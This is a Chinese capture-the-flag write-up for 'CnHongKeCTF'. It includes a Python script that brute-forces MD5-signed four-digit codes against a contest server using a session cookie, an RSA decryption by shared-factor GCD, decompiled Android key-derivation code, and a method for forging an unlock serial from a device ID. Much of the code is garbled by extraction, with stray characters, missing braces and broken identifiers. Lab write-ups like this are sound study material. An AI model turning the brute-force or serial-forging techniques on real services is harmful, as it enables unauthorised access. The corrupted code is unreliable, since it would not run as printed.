CnHongKeCTF By 天璇

Web

爆破

```
import requests
import hashlib
url="http://121.237.133.157:20183/result.php"
headers={
    "Cookie": 'session=c4d984ac-4757-4e06-953f-c9eb0c74193c'
for i in range(0,9):
    for j in range(0,9):
        for q in range(0,9):
            for k in range(0,9):
                i=str(i)
                j=str(j)
                q=str(q)
                k=str(k)
                a=str(i+j+q+k)
                t=hashlib.md5(a.encode('utf-8')).hexdigest()
                data={
                     'number':a,
                    'sign':str(t)
                req=requests.post(url=url,headers=headers,data=data)
                print(a)
                if 'Bad' not in req.text:
                    print(a)
                    print(req.text)
```

```
3681
{ "flag" : "CnHongKe{a4b85141cc4341b59d52ff8150c57d7b}
" }
3682
```

Misc

Picture

Stegsolve改色道,挨个扫描即可 拼接就是flag

What's this

```
一个邮件发送包,正文部分是base64。
PNG,打开看有第二部分flag
前面有Quoted-Printable 里面GBK2312编码有一段,
```

Cry

随便选两个Round的第二个数构造一个\$a-b=(y_a-y_b)p\$再和n求GCD即可得出\$p\$题目附件有问题

```
a =
6435898081098312069193282341795915540261240598097490572271117490404376893304608
0042424394293120679518728046067575946036643017265414692299801578722298897825979
7601873318719401914356485488605861191556978314550333654623138086790813887939521
0171706016651896401473392042420379329349589828280175940543607255416772431728188
653211
b =
2613152126801235357605926409607555343634108914027445071424442563126602477314913
4188615348940595032696208763302159531208894847549241937842402425015711447105814
2432998359750390514073255663090419344757882820322385621977539795923490230800414
0088085501789332051140882380419734289335488635960244365807950078568282028343410
707589
ln =
1823047502224110711150200963814484632646269744479397752216275514039202877563033
3139671570413968300055609624732905017576492318481049765719395178101917259078950
4914784046192129307129621763704747934582645424281744116489843854964155158884502
3649263910365583796875891200112788129801437383349204405444753836877735195947282
8103490523519402499794625509544746224849131358391427803274660727365008334321515
1279139632676715536711335119566267490270633486847000621452143358684630588030669
3664695812747184553927659396270804440649059299841427366723201753050271294716583
2917826753479338315450193449553506830399223036433213690635128087
p = GCD(a - b, n)
e = 65537
c =
1500117531961094679522234392403548753400858470946187822614389990644884385012077
9928420944432465029785752971033689199065870408351794155945446686524700533470562
9911723846677100594518050090083054248056705960389117476457843295327866263243977
7841295772649568342276652219074613218857094699633238278709603252034801591453483
7388916434188111744452280796833969638220556402855250673116813135921244590931278
4057852335810547164104170940164434031622802101047933019555691992645276684875399
6850640197440199518269111054536791512119860564202160347337612440089388158720865
9717458033485422058304753162014771566156332810928502706804188737
q = n // p
print(long to bytes(pow(c, inverse(e, (p - 1)*(q - 1)), n)))
1.1.1
b'CnHongKe{11b1df76}'
1.1.1
```

APK

Toosimple

```
int v0; // r0
  int v1; // r1
1
  int i; // r3
  char v3; // r5
  int v4; // r3
  _BYTE *result; // r0
)
  char v6[24]; // [sp+4h] [bp-2Ch] BYREF
)
  memcpy(v6, "SCKLS3f;j&Bpa9zl[mWu60", 0x16u);
L
)
  v0 = 11;
3
  v1 = 1;
1
  for (i = 0; i != 21; ++i)
5
    v3 = v6[i];
7
    if (i > 10)
      v6[i] = v3 - v0--;
     v6[i] = v3 + v1++;
)
L
  }
  v4 = 0;
3
  result = string;
ļ
  do
5
    string[v4] = v6[v4];
    ++v4;
3
  while ( \vee 4 != 22 );
)
  string[23] = 0;
  return result;
直接计算出Key就行
```

```
#include <stdio.h>
#include <stdlib.h>>
int main()
    int v0; // r0
    int v1; // r1
    int i; // r3
    char v3; // r5
    int v4; // r3
    char v6[24] = "SCKLS3f;j&Bpa9zl[mWu60";
    v0 = 11;
    v1 = 1;
    for (i = 0; i != 21; ++i)
        v3 = v6[i];
        if (i > 10)
            v6[i] = v3 - v0--;
        else
        v6[i] = v3 + v1++;
    }
    v4 = 0;
    for(v4 = 0; v4 < 22; v4 ++){
        printf("%c",v6[v4]);
    return 0;
```

Crackme2

逻辑很简单,用户名test

获取设备ID和SIM序列号取前6位,然后进行一系列异或后串成一个xxx-xxx-xxx格式的序列号作为解锁码

直接使用主办方给出的设备ID和SIM序列号,异或后得到序列号